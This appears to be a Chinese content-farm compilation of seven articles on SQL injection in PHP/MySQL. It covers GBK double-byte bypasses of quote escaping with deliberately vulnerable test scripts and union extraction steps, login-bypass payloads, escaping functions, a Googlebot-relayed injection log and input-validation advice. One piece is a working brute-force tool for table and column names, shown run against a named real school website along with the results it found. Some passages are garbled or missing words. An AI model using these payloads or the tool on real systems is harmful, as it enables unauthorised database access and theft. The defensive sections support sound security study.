【导语】“过过儿”通过精心收集,向本站投稿了7篇利用双字节编码突破PHP单引号转义限制进行SQL注入脚本安全,以下是小编为大家准备的利用双字节编码突破PHP单引号转义限制进行SQL注入脚本安全,希望对大家有帮助。
- 目录
篇1:利用双字节编码突破PHP单引号转义限制进行SQL注入脚本安全
今天看了黑防2009精华本下册《双字节编码:PHP的隐形杀手》一文,深受启发,
当php.ini中magic_quotes_gpc被设置为on时,提交的参数会被转义,例如,单引号会被转义成了\\'。一下子截断了字符型注入的路。
GBK双字节编码:一个汉字用两个字节表示,首字节对应0x81-0xFE,尾字节对应0x40-0xFE(除0x7F),刚好涵盖了\\对应的编码0x5C。
0xD5 0x5C 对应了汉字“\”,于是 %d5%5c 经URL解码后为“\”。
于是提交参数 %d5' ,经PHP自动转义后为 %d5%5c%27 ('被转义为了\\',对应%5c%27),再经URL解码后,就变成了 \\' 。
这样就突破了单引号转义的限制。
本地测试如下:
测试脚本index.php如下:
$conn=0;
$conn = mysql_connect(“localhost”,“root”,“see2006”);
if (!$conn)
{
die(“不能打开数据库连接,错误: ” . mysql_error);
}
// 选择数据库
mysql_select_db(“test”, $conn);
// 设置mysql数据库输出数据的字符集
mysql_query(“set names 'gbk'”);
$sql=“select * from news where content like '%”.$_REQUEST['k'].“%'”;
echo “当前sql语句:”.$sql.“
”;
$result=mysql_query($sql,$conn);
if(!$result)
echo mysql_error();
while($result && $row=mysql_fetch_array($result))
{
echo “$row[title]
”;
}
?>
搜索关键字为空,显示所有条目
单引号被PHP自动转义
利用双字节编码绕过PHP转义,SQL语句出错
利用#注释之后的SQL语句,语法正确
union猜字段数目和可显示字段的位置
union查看当前用户
union查看当前数据库名
union查看test数据库表名
union查看user表的name字段值
union查看user表的pass字段值
篇2:利用GBK双字节编码突破PHP单引号转义限制进行SQL注入脚本安全
当php.ini中magic_quotes_gpc被设置为on时,提交的参数会被转义,例如,单引号会被转义成了',一下子截断了字符型注入的路。
GBK双字节编码:一个汉字用两个字节表示,首字节对应0x81-0xFE,尾字节对应0x40-0xFE(除0x7F),刚好涵盖了对应的编码0x5C。
0xD5 0x5C 对应了汉字“\”,于是 %d5%5c 经URL解码后为“\”。
当我们提交参数 %d5' ,经浏览器URL编码后为%d5%27,再经PHP URL解码后为 0xd50x27,再经PHP转义后为0xd50x5c0x27,即就是在0x27(')之前插入了转义符0x5c(\\)。当MySQL采用GBK编码连接时,0xd50x5c0x27 这一字节序列就被MySQL作为GBK编码理解:\\'。
这样就吃掉了PHP的转义符,从而突破了单引号转义的限制。
本地测试如下:
1.
2.$conn=0;
3.$conn = mysql_connect(“localhost”,“root”,“see2006”);
4.if(!$conn)
5.{
6.die(“不能打开数据库连接,错误: ”. mysql_error());
7.}
8.
9.//选择数据库
10.mysql_select_db(“test”, $conn);
11.
12.//设置mysql数据库输出数据的字符集
13.mysql_query(“set names 'gbk'”);
14.
15.$sql=“select * from news where content like '%”.$_REQUEST['k'].“%'”;
16.echo“当前sql语句:”.$sql.“
”;
17.
18.$result=mysql_query($sql,$conn);
19.
20.if(!$result)
21.echo mysql_error();
22.
23.while($result && $row=mysql_fetch_array($result))
24.{
25.echo“$row[title]
”;
26.}
27.?>
搜索关键字为空,显示所有条目
单引号被PHP自动转义
利用双字节编码绕过PHP转义,SQL语句出错
利用#注释之后的SQL语句,语法正确
union猜字段数目和可显示字段的位置
union查看当前用户
union查看当前数据库名
union查看test数据库表名
union查看user表的name字段值
union查看user表的pass字段值
以上信息转载 hi.baidu.com/cdcxdzj/blog/item/43a514f7017711c3f3d38515.html
修补方法: 过滤提交过来的值
或者将magic_quotes_gpc设为off
篇3:手把手叫你SQL注入攻防(PHP语法)脚本安全
1.什么是 SQL注入 ,猛戳 查看
2.本地 测试 代码:
如果表单提交正确,就打印hello,“username”
否则,打印“404 not found!”
require 'config.php';
$DBConnection = mysql_connect ( “$dbhost”, “$dbuser”, “$dbpwd” );
mysql_select_db ( “$dbdatabase” );
if(isset($_GET['submit']) && $_GET['submit']){
$sql=“select * from test where name='”.$_GET['username'].“'and password='”.$_GET['password'].“'”;
//echo $sql;exit;
$result=mysql_query($sql,$DBConnection);
$num=mysql_num_rows($result);
if($num>=1)
{
echo “hello,”.$_GET['username'];
}
else {
echo“404 not found”;
}
}
?>
username
password
submit
3.浏览器界面显示:
4.重头戏,sql注入:
5.原理--为什么用户名不正确,却可以显示hello?
我可以echo一下:
$sql=“select * from test where name='”.$_GET['username'].“'and password='”.$_GET['password'].“'”;
echo $sql;exit;
显示:
拿到我的mysql数据库中查询:
可以看到,居然能查到信息,因为sql语句中,前一半单引号被闭合,后一半单引号被 “--”给注释掉,中间多了一个永远成立的条件“1=1”,这就造成任何字符都能成功登录的结果,
手把手叫你SQL注入攻防(PHP语法)脚本安全
,
6.小结:
1)其实这个sql注入过程上很简单,困难的地方在于提交SQL注入语句的灵活性上面,单引号的使用很关键,另外,多用echo打印调试也很值得一试~~
2)GET方式提交表单很危险,所以还是用POST方式吧!
参考:blog.csdn.net/gideal_wang/Article/details/4316691
3)防止SQL注入:可以看出,sql注入就是用户提交一些非法的字符(如本文的单引号’和sql语句的注释号--,还有反斜杠\\等),所以要用转义: htmlspecialchars函数,mysql_read_escape_string函数都可以实现。
4)JS段验证表单了,JSP/PHP等后台还要验证码?
---需要,因为friebug可以禁用JS...
--------------------------------------------------------------------------
update:
上面的方法,当password通过md5加密的话,就无法实现注入了,那么就在username上做手脚:
username后面的内容就都被注释掉了。哈哈~
篇4:php 如何做数据库攻击(如:SQL注入)脚本安全
PHP mysql_real_escape_string 函数
PHP MySQL 函数
定义和用法
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符,
下列字符受影响:
\\x00
\\n
\\r
\\
'
“
\\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
语法
mysql_real_escape_string(string,connection)
参数描述
string必需。规定要转义的字符串。
connection可选。规定 MySQL 连接。如果未规定,则使用上一个连接。
说明
本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query() 。
提示和注释
提示:可使用本函数来预防数据库攻击。
例子
例子 1
{ die('Could not connect: ' . mysql_error());
} // 获得用户名和密码的代码 // 转义用户名和密码,以便在 SQL 中使用 $user =mysql_real_escape_string($user); $pwd =mysql_real_escape_string($pwd); $sql = ”SELECT * FROM users WHERE
user='“ . $user . ”' AND password='“ . $pwd . ”'“ // 更多代码 mysql_close($con); ?>
例子 2
数据库攻击。本例演示如果我们不对用户名和密码应用 mysql_real_escape_string() 函数会发生什么:
{ die('Could not connect: ' . mysql_error());
} $sql = ”SELECT * FROM users
WHERE user='{$_POST['user']}'
AND password='{$_POST['pwd']}'“;
mysql_query($sql); // 不检查用户名和密码 // 可以是用户输入的任何内容,比如: $_POST['user'] = 'john'; $_POST['pwd'] = ”' OR ''='“; // 一些代码... mysql_close($con); ?>
那么 SQL 查询会成为这样:
SELECT * FROM users WHERE user='john' AND password='' OR ''=''
这意味着任何用户无需输入合法的密码即可登陆,
例子 3
预防数据库攻击的正确做法:
{ $value =stripslashes($value);
} // 如果不是数字则加引号 if (!is_numeric($value))
{ $value = ”'“ .mysql_real_escape_string($value). ”'“;
} return $value;
} $con = mysql_connect(”localhost“, ”hello“, ”321“); if (!$con)
{ die('Could not connect: ' . mysql_error());
} // 进行安全的 SQL $user = check_input($_POST['user']); $pwd = check_input($_POST['pwd']); $sql = ”SELECT * FROM users WHERE
user=$user AND password=$pwd“;
mysql_query($sql);
mysql_close($con); ?>
?
篇5:do all things in php(注入利用程序编写)脚本安全
最近俺又迷恋上脚本了,嘿嘿~~~刚学完PHP然后又看了些PHP安全方面的文章,于是乎从google中找了几个站练习一下,
结果发现php猜表名和列名真的很费劲啊,nbsi这类的扫描工具有没有那种用字典或者暴力猜解表名和列名的功能,难不成还得自己一个一个猜啊?我很懒的:-)
突然想到自己不是刚刚学完PHP吗?为什么不学以致用呢?php不光是一个web脚本语言,它还是一个非常棒的命令行解释语言,用它写脚本好方便的哦。为了以后能够碰到这类问题省点劲俺就写了一个php脚本用来猜表和列名的。脚本写的很简单,内容如下:
echo ”\\tUniversal Database tables explode exploit V0.1\\n\\n“;
echo ”\\t\\tWritten by Mika[EST]\\n\\n“;
//$keyword=”Warning“;
$keyword=”error“;
switch($argc){
case 3:
$u=” and (select count(*) from MIKA_NAME)>0“;
$dic=$argv[2];
break;
case 4:
$u=” and 1=1 union select “.implode(',',range(1,$argv[2])).” from MIKA_NAME#“;
$dic=$argv[3];
break;
case 5:
if($argv[2]!=”-t“)
exit(”arguments Error“);
$u=” and (select count(MIKA_NAME) from $argv[3])>0#“;
$dic=$argv[4];
break;
case 6:
if($argv[2]!=”-t“ || $argv[4]<1)
exit(”arguments Error“);
if($argv[4]>=2){
$u=” and 1=1 union select “.'MIKA_NAME'.','.implode(',',range(2,$argv[4])).” from $argv[3]#“;
}else{
$u=” and 1=1 union select MIKA_NAME from $argv[3]#“;
}
$dic=$argv[5];
break;
default:
echo <<
Usage:$argv[0]
OPTIONS: number --->to indicate column number of a table during a union query
e.g:$argv[0] www.aaa.com/bbb.asp?ccc=56 3 mydict.txt
the url will be like:.../bbb.asp?ccc=56 and 1=2 union select 1,2,3 from admin
OPTIONS: -t [number] --->to explode column name of the
e.g:$argv[0] www.aaa.com/bbb.asp?ccc=56 -t admin mydict.txt
Attention:if you don't use [options] the program will use default mode to work.you can change it in the source code of this program.
USAGE;
die;
}
$old=$argv[1];
file_exists($dic) or exit(”dic file does not exist!\\n“);
$words=file($dic);
$curl=curl_init();
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_PROXY,”127.0.0.1:8080“);
print ”[+]Searching What you want...\\n“;
foreach($words as $word){
//print $word;
if(preg_match(”/^\\s$/“,$word)){
//print ”blank“;
continue;
}
$url=str_replace('MIKA_NAME',trim($word),$u);
$url=$old.urlencode($url);
//$url=$old.$url;
curl_setopt($curl,CURLOPT_URL,$url);
//print ”source url is:“.$url.”\\n“;
$content=curl_exec($curl);
//$new=$content;
//print $content;
if(preg_match(”/$keyword/i“,$content)==0){
print ”[*] FOUND:“.trim($word);
}
else{print ”.“;}
}
?>
俺先解释一下吧:程序里用到的模块是curl,它用来获取网页内容是非常方便的。我的这个php是for windows的,所以里面集成了很多的模块。但是curl默认是不启用的,你需要开启它哦。方法很简单,去网上下载php最新版本的绿色版(不需要安装的,方便携带),然后将压缩包内的php.ini-recommended复制到系统目录(win2k是winnt目录,xp等的是windows目录)并将其改名为php.ini,然后用记事本打开,找到如下一行:
extension_dir =
把它的值设置成你自己的,比如把压缩包接压到了c:\\php里,那么你需要把它设置成:
extension_dir = ”c:\\php\\ext“
然后再继续找到下面这段:
; Windows Extensions
; Note that ODBC support is built in, so no dll is needed for it.
; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
; extension folders as well as the separate PECL DLL download (PHP 5).
; Be sure to appropriately set the extension_dir directive.
;extension=php_mbstring.dll
;extension=php_bz2.dll
;extension=php_curl.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
;extension=php_gd2.dll
;extension=php_gettext.dll
;extension=php_ifx.dll
看到php_curl.dll了吗?把它前面的分号去掉就可以了,
然后保存一下,还没完呢,再去php的目录里找到这两个文件:
libeay32.dll
ssleay32.dll
把他们复制到system32目录里就OK了。很简单吧?然后在环境变量里设置一下你的php的路径,这样在任何目录里就可以直接调用php.exe进行解析了。安装其它模块的步骤也类似,俺就不多说了:-)
言归正传,你通过上面几步就可以使用curl模块了。程序用法很简单,比如有注入的url是这样的:www.aaa.com/bbb.asp?ccc=56,你的字典文件在当前目录mydict.txt。那么本程序的使用方法就是:
php explode.php www.aaa.com/bbb.asp?ccc=56 mydict.txt
需要注意的就是,由于这个程序本来就是俺自己用的,所以程序没有考虑很多东西。程序是根据页面返回的内容进行判断的,所以呢,你要首先自己手工获取一下,比如你可以这样:
www.aaa.com/bbb.asp?ccc=56 and (select count(*) from mika520)>0(access和mssql上)
或者
www.aaa.com/bbb.asp?ccc=56 and 1=1 union select 1,2,3,4,5,6 from mika520%23 (mysql上)
其中的mika520是一个不存在的表,这样返回的页面后你可以察看源代码,随便找一个正确页面中不存在的语句作为关键字(nbsi等的注入工具默认是用正确页面里的东西作为判断的,俺和它反着来:-),然后把程序代码中第4行的$keyword的值换成你的关键字就可以了。比如下面这个站吧:
www.elkhart.k12.in.us/content.php?id=157
由于是php的所以你得用第二种方式来猜,即需要使用联合查询,所以先判断注入点存在不存在,然后使用order by判断字段数,我在这里判断的是5个字段,判断好后就可以使用我的这个程序来猜了,结果如下:
F:\\scripts\\php\\mine>php forcetb1.php www.elkhart.k12.in.us/content.php?id
=157 5 mydict.txt
Universal Database tables explode exploit V0.1
Written by Mika[EST]
[+]Searching What you want...
...[*] FOUND:structure..........................................................
看到了吗?找到了一个表,呵呵。再来看看字段:
F:\\scripts\\php\\mine>php forcetb1.php www.elkhart.k12.in.us/content.php?id
=157 -t structure 5 temp.txt
Universal Database tables explode exploit V0.1
Written by Mika[EST]
[+]Searching What you want...
[*] FOUND:division......[*] FOUND:id.[*] FOUND:level.........[*] FOUND:title....
..[*] FOUND:content..[*] FOUND:parent_id.........
很简单吧?命令中的那个5就是你用order by猜出的字段数,换成实际中的就可以了。如果是access或者mssql的数据库,只要去掉那个字段数(即例子中的5)的参数就可以了。我就不多做演示了。
如果大家用得过程中出现问题可以自己去改代码,很简单的:-)
另外我这个程序默认是使用HTTP代理的,所以你需要修改这一行:
curl_setopt($curl,CURLOPT_PROXY,”127.0.0.1:8080“);
换成你的代理就好了,如果不需要代理那就直接注释掉好了。
其实猜嘛,关键还是看你的字典是不是够强大,你可以把你常见的字典组合一下就好了。比如NBSI和狂注幽灵等的字典拿过来,然后组成一个文件就是了。但是这两个字典有可能有很多重复的,为了节省不必要的猜解,需要去处重复的。我这里用php写了非常简单的程序可以帮助你去除重复行,如下:
if($argc!=2){
echo <<
\\t\\t Written By Mika[EST]\\n
\\t\\tUsage: $argv[0]
INFO;
die;
}
file_exists($argv[1]) or exit(”$argv[1] dose not exists!“);
$txt_file=file($argv[1]);
$uniq_file=array_unique($txt_file);
$file=fopen($argv[1],”w“);
fwrite($file,implode(”“,$uniq_file));
fclose($file);
echo ”unique done!“;
?>
用法非常简单,首先合并字典,比如,1.txt,2.txt,用copy命令即可:
F:\\scripts\\php\\mine>copy 1.txt+2.txt 3.txt
1.txt
2.txt
已复制 1 个文件。
F:\\scripts\\php\\mine>dir 3.txt
驱动器 F 中的卷是 LIB
卷的序列号是 CC4F-A32B
F:\\scripts\\php\\mine 的目录
2007-07-13 18:50 1,474 3.txt
1 个文件 1,474 字节
0 个目录 2,166,566,912 可用字节
然后用我的这个程序处理一下:
F:\\scripts\\php\\mine>php uniq.php 3.txt
unique done!
F:\\scripts\\php\\mine>dir 3.txt
驱动器 F 中的卷是 LIB
卷的序列号是 CC4F-A32B
F:\\scripts\\php\\mine 的目录
2007-07-13 18:52 1,288 3.txt
1 个文件 1,288 字节
0 个目录 2,166,566,912 可用字节
注意看文件的大小哦,嘿嘿~~~简单吧?;-)
好了,累死我了~~~到这吧,先到这里吧~~~休息~~休息~~~
我是女生,嘿嘿,快乐的女生~~~~~~
篇6:走近科学:如何利用Google机器人进行SQL攻击脚本安全
老外安全公司发现了来自Google机器人的SQL注入攻击,迫使他们应急的时候设置策略对Google的IP进行屏蔽,
有件事情我们需要留意的是,几乎所有的云防火墙的规则都会对搜索引擎机器人设置白名单。
目前来说我们的生活还是很幸福的,但当你发现一个合法的搜索引擎机器人被用来攻击你的网站,你还睡得安稳吗?
这是几天前我们一个客户的网站所发生的实实在在的案例,我们开始对Google机器人的IP进行屏蔽,根据抓到的请求可以判断它做的是SQL注入攻击。你没听错,对!Google机器人在对你们做SQL注入!
请求
我们的发现始于Google机器人的IP地址被SQL注入防护策略屏蔽,各位看官看以下日志(打了点码):
66.249.66.138 - - [05/Nov/2013:00:28:40 -0500] ”GET /url.php?variable=“)%20declare%20@q%20varchar(8000(%20select%20@q%20=%200x527%20exec(@q)%20-- HTTP/1.1” 403 4439 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +www.google.com/bot.html)”
我们的第一反应是觉得这是个伪造的机器人,但当我们检查IP地址来源是却发现这是实实在在的google机器人!
$ host 66.249.66.138138.66.249.66.in-addr.arpa domain name pointer crawl-66-249-66-138.googlebot.com.NetRange: 66.249.64.0 - 66.249.95.255CIDR: 66.249.64.0/19OriginAS: NetName: GOOGLE
进一步调查显示其它相似的请求签名都是来自于Google的IP地址,
到底咋回事?
其实Google并不是真有兴趣要黑我们,它是真的爱我们。
场景是这样的:
Google机器人正在网站A收集信息,网站A内嵌入了对目标网站B的SQL注入请求链接,Google机器人顺着链接访问网站B,就无意中开始对网站B执行了SQL注入攻击。
看到这里大家应该懂了吧?
利用机器人做攻击?
我们假设有个 叫小明。小明每天花很多时间在找web漏洞,所以小明也发现了一堆的漏洞站。而他也很清楚明白,他必须要掩饰他的行为。
而一个安全人员最普遍的方法都是分析日志。小明也知道这点,所以他现在可能有一个B网站的漏洞,比如SQL注入或者RFI。
于是小明到自己的网站A上面,写下这些EXP,让爬虫来爬……
这种类似场景其实很容易想象吧?
我们已经就这个问题联系谷歌了。对于爬虫,我们不能仅仅只是做白名单,而应该在这前面先对请求做检测!
原文
小编:想起之前那个 的安全狗“通杀”exp,不正是利用白名单的缺陷?或者已知某站CMS指纹,然后找到把相关版本的EXP来利用机器人绕过这些dns waf或盒子?国内有牛这样搞过了吗?
篇7:利用PHP程序设定防止MySQL注入或HTML表单滥用脚本安全
MySQL注入的意图是接管网站数据库并窃取信息,常见的开源数据库,如MySQL,已经被许多网站开发人员用来储存重要信息,如密码,个人信息和管理信息。
MySQL之所以流行,是因为它与最流行的服务器端脚本语言PHP一起使用。而且,PHP是主导互联网的Linux- Apache服务器的主要语言。因此,这意味着 可以很容易地利用PHP就像Windows的间谍软件一样。
向一个无担保的网页表单输入大量恶意代码(通过下拉菜单,搜索框,联系表单,查询表单和复选框)。
恶意代码将被送到MySQL数据库,然后“注入”。要查看这个过程,首先考虑以下基本的MySQL SELECT查询语句:
SELECT * FROM xmen WHERE username = 'wolverine'
此查询会向有“xmen”表的数据库要求返回某一段MySQL中用户名为“wolverine”的数据。
在Web表单中,用户将输入wolverine,然后这些数据将被传到MySQL查询。
如果输入无效, 还有其他方法控制数据库,如设置用户名:
' OR ''=''
你可能认为使用正常的PHP和MySQL句法执行输入是安全的,因为每当有人输入恶意代码,他们将会得到一个“无效的查询”的消息,但事实并非如此。 很聪明,且因为涉及数据库清理和重设管理权限,任何一个安全漏洞都不容易纠正。
两种对MySQL注入攻击的常见误解如下:
1.网管认为恶意注入可用防病毒软件或反间谍软件清理。事实是,这种类型的感染利用了MySQL数据库的弱点。它不能简单地被任何反间谍软件或防病毒程序删除。
2. MySQL注入是由于复制了从另一台服务器或外部来源被感染的文件。事实并非如此。这种类型的感染是由于有人将恶意代码输入到网站不受保护表单,然后访问数据库。MySQL注入可通过删除恶意脚本清除掉,而不是使用防病毒程序。
用户输入验证流程
备份一个清洁的数据库,并放置在服务器外。输出一套MySQL表并保存在桌面。
然后转到服务器,先暂时关闭表单输入。这意味着表单不能处理数据,网站被关闭了。
然后启动清理进程。首先,在您的服务器上,清理遗留的混乱的MySQL注入。更改所有的数据库,FTP和网站的密码。
在最坏的情况下,如果你清理迟了,你可以再次检查在您服务器上运行的隐藏程序。这些隐藏程序是 安装的木马。将其完全删除并更改所有FTP权限,
扫描服务器上所有木马程序和恶意软件。
当您修改PHP脚本程序时,将处理表单数据。防止MySQL注入的一个好办法是:连用户数据也不信任。用户输入验证对于防止MySQL注入是相当重要的。
设计一个过滤器筛选出用户输入,以下是几点提示:
1.输入到表单的是数字。你可以通过测试它等于或大于0.001 (假设你不接受一个零)验证它是不是数字。
2.如果是Email地址。验证其是否由允许的字符组合构成,如“ @ ” ,A-Z,a-z或一些数字。
3.如果是人名或用户名。可以通过是否包含任何非法字符验证它,如and和*,是可用于SQL注入的恶意字符。验证数字输入
下面的脚本验证了是否输入一个从0.001至无限大的有效数字。值得一提的是,在一个PHP程序中,甚至可以允许使用一定范围内的数字。使用此验证脚本可确保输入到表单的只是一个数字。
假设在程序中有三个数字变量;您需要将它们进行验证,我们将它们命名num1 , num2和num3:
//Validate numerical input
if($_POST['num1'] >= 0.001 && $_POST['num2'] >= 0.001 && $_POST['num3'] >= 0.001)
{
}
else
{
}
?>
And条件可被延长到能容纳超过三个数字。所以,如果你有10个,您将只需要扩展AND语句。这可以用来验证一个只接受数字的表单,如合同数量,许可证号码,电话号码等。
验证文字和邮件地址的输入
以下可以用于验证诸如用户名,名字以及电子邮件地址的表单输入:
//Validate text input
if (! preg_match('/^[-a-z.-@,'s]*$/i',$_POST['name']))
{
}
else
if ($empty==0)
{
}
else
{
}
?>
该验证脚本的一个优点是,它不接受空白输入。一些恶意用户还通过空白投入操纵数据库。使用上面的脚本,只验证一个文字变量, “ $name”。这意味着,如果有三个文字变量,你可以分别对每个变量设置一个验证脚本,以确保每一个变量都在进入数据库前通过了审查。★ 利用GBK双字节编码突破PHP单引号转义限制进行SQL注入脚本安全
★ 手工注入脚本安全
★ Andys PHP Knowledgebase 0.95.4 SQL注入漏洞及修复
★ Nginx %00空字节执行任意代码(php)漏洞漏洞预警
利用双字节编码突破PHP单引号转义限制进行SQL注入脚本安全(精选7篇)




